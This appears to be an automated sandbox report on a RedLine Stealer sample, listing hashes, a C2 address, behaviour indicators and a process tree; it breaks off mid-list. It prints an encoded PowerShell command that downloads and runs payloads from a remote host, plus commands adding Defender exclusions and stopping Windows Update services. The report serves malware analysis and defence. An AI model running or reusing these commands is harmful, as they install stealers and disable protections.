redline | 569d9035ed630038599104bb8c770473e8cff91b3554a1deb4f4028b578429d3

Analysis

max time kernel
37s
max time network
47s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
14/01/2023, 13:24

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General

Target

26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe
Size

217KB
MD5

15dec13bdd63907e5fcda9e7e621e1a2
SHA1

26154e506c39c8b4681cc38a19c87249f8ce3ae6
SHA256

569d9035ed630038599104bb8c770473e8cff91b3554a1deb4f4028b578429d3
SHA512

4a14c459e417d37cb841805e125c745b4bdbabd1611bbad7813b20cef639e9af99f981c16f94f7ab41765c34e6a1fa053f87a2755ce613db1d17171d72437586
SSDEEP

6144:AntQ758qxOopgCXDww83kI5vAOI3F5VyLchfn09c:AtQ758qxOopgzvuf0G

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3972-177-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 3376 created 1272	3376	SmartDefRun.exe	33
PID 3376 created 1272	3376	SmartDefRun.exe	33
PID 3376 created 1272	3376	SmartDefRun.exe	33
PID 3376 created 1272	3376	SmartDefRun.exe	33
PID 2752 created 616	2752	powershell.EXE	6

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4932	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
1176	C4Loader.exe
1860	new2.exe
2340	SysApp.exe
3376	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3172 set thread context of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 1860 set thread context of 3972	1860	new2.exe	92
PID 3376 set thread context of 4332	3376	SmartDefRun.exe	112
PID 2752 set thread context of 1304	2752	powershell.EXE	117

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4476	sc.exe
2900	sc.exe
1524	sc.exe
448	sc.exe
4812	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3532	3172	WerFault.exe	78
4948	1860	WerFault.exe	87

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4932	powershell.exe
4932	powershell.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
2340	SysApp.exe
3376	SmartDefRun.exe
3376	SmartDefRun.exe
2020	powershell.exe
2020	powershell.exe
3376	SmartDefRun.exe
3376	SmartDefRun.exe
3376	SmartDefRun.exe
3376	SmartDefRun.exe
3828	powershell.exe
3828	powershell.exe
3376	SmartDefRun.exe
3376	SmartDefRun.exe
2752	powershell.EXE
2760	powershell.EXE
2752	powershell.EXE
2760	powershell.EXE
2752	powershell.EXE
1304	dllhost.exe
1304	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 3172 wrote to memory of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 3172 wrote to memory of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 3172 wrote to memory of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 3172 wrote to memory of 4960	3172	26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe	80
PID 4960 wrote to memory of 4932	4960	vbc.exe	84
PID 4960 wrote to memory of 4932	4960	vbc.exe	84
PID 4960 wrote to memory of 4932	4960	vbc.exe	84
PID 4932 wrote to memory of 1176	4932	powershell.exe	86
PID 4932 wrote to memory of 1176	4932	powershell.exe	86
PID 4932 wrote to memory of 1176	4932	powershell.exe	86
PID 4932 wrote to memory of 1860	4932	powershell.exe	87
PID 4932 wrote to memory of 1860	4932	powershell.exe	87
PID 4932 wrote to memory of 1860	4932	powershell.exe	87
PID 4932 wrote to memory of 2340	4932	powershell.exe	88
PID 4932 wrote to memory of 2340	4932	powershell.exe	88
PID 4932 wrote to memory of 2340	4932	powershell.exe	88
PID 4932 wrote to memory of 3376	4932	powershell.exe	89
PID 4932 wrote to memory of 3376	4932	powershell.exe	89
PID 1860 wrote to memory of 3972	1860	new2.exe	92
PID 1860 wrote to memory of 3972	1860	new2.exe	92
PID 1860 wrote to memory of 3972	1860	new2.exe	92
PID 1860 wrote to memory of 3972	1860	new2.exe	92
PID 1860 wrote to memory of 3972	1860	new2.exe	92
PID 4292 wrote to memory of 4476	4292	cmd.exe	101
PID 4292 wrote to memory of 4476	4292	cmd.exe	101
PID 4292 wrote to memory of 2900	4292	cmd.exe	102
PID 4292 wrote to memory of 2900	4292	cmd.exe	102
PID 4292 wrote to memory of 1524	4292	cmd.exe	103
PID 4292 wrote to memory of 1524	4292	cmd.exe	103
PID 4292 wrote to memory of 448	4292	cmd.exe	104
PID 4292 wrote to memory of 448	4292	cmd.exe	104
PID 4292 wrote to memory of 4812	4292	cmd.exe	105
PID 4292 wrote to memory of 4812	4292	cmd.exe	105
PID 4292 wrote to memory of 4652	4292	cmd.exe	106
PID 4292 wrote to memory of 4652	4292	cmd.exe	106
PID 4292 wrote to memory of 1728	4292	cmd.exe	107
PID 4292 wrote to memory of 1728	4292	cmd.exe	107
PID 4292 wrote to memory of 3536	4292	cmd.exe	108
PID 4292 wrote to memory of 3536	4292	cmd.exe	108
PID 4292 wrote to memory of 1920	4292	cmd.exe	109
PID 4292 wrote to memory of 1920	4292	cmd.exe	109
PID 4292 wrote to memory of 3500	4292	cmd.exe	110
PID 4292 wrote to memory of 3500	4292	cmd.exe	110
PID 3376 wrote to memory of 4332	3376	SmartDefRun.exe	112
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117
PID 2752 wrote to memory of 1304	2752	powershell.EXE	117

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1f5bc0f1-510b-4a23-900f-db2bbe27fd63}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1304

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1272
- C:\Users\Admin\AppData\Local\Temp\26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe
  "C:\Users\Admin\AppData\Local\Temp\26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4932
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:1176
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1860
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:3972
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 492
        6⤵
        Program crash
        
        PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2340
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3376
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3172 -s 240
    3⤵
    - Program crash
    PID:3532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4476
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2900
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1524
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:448
- - C:\Windows\System32\sc.exe
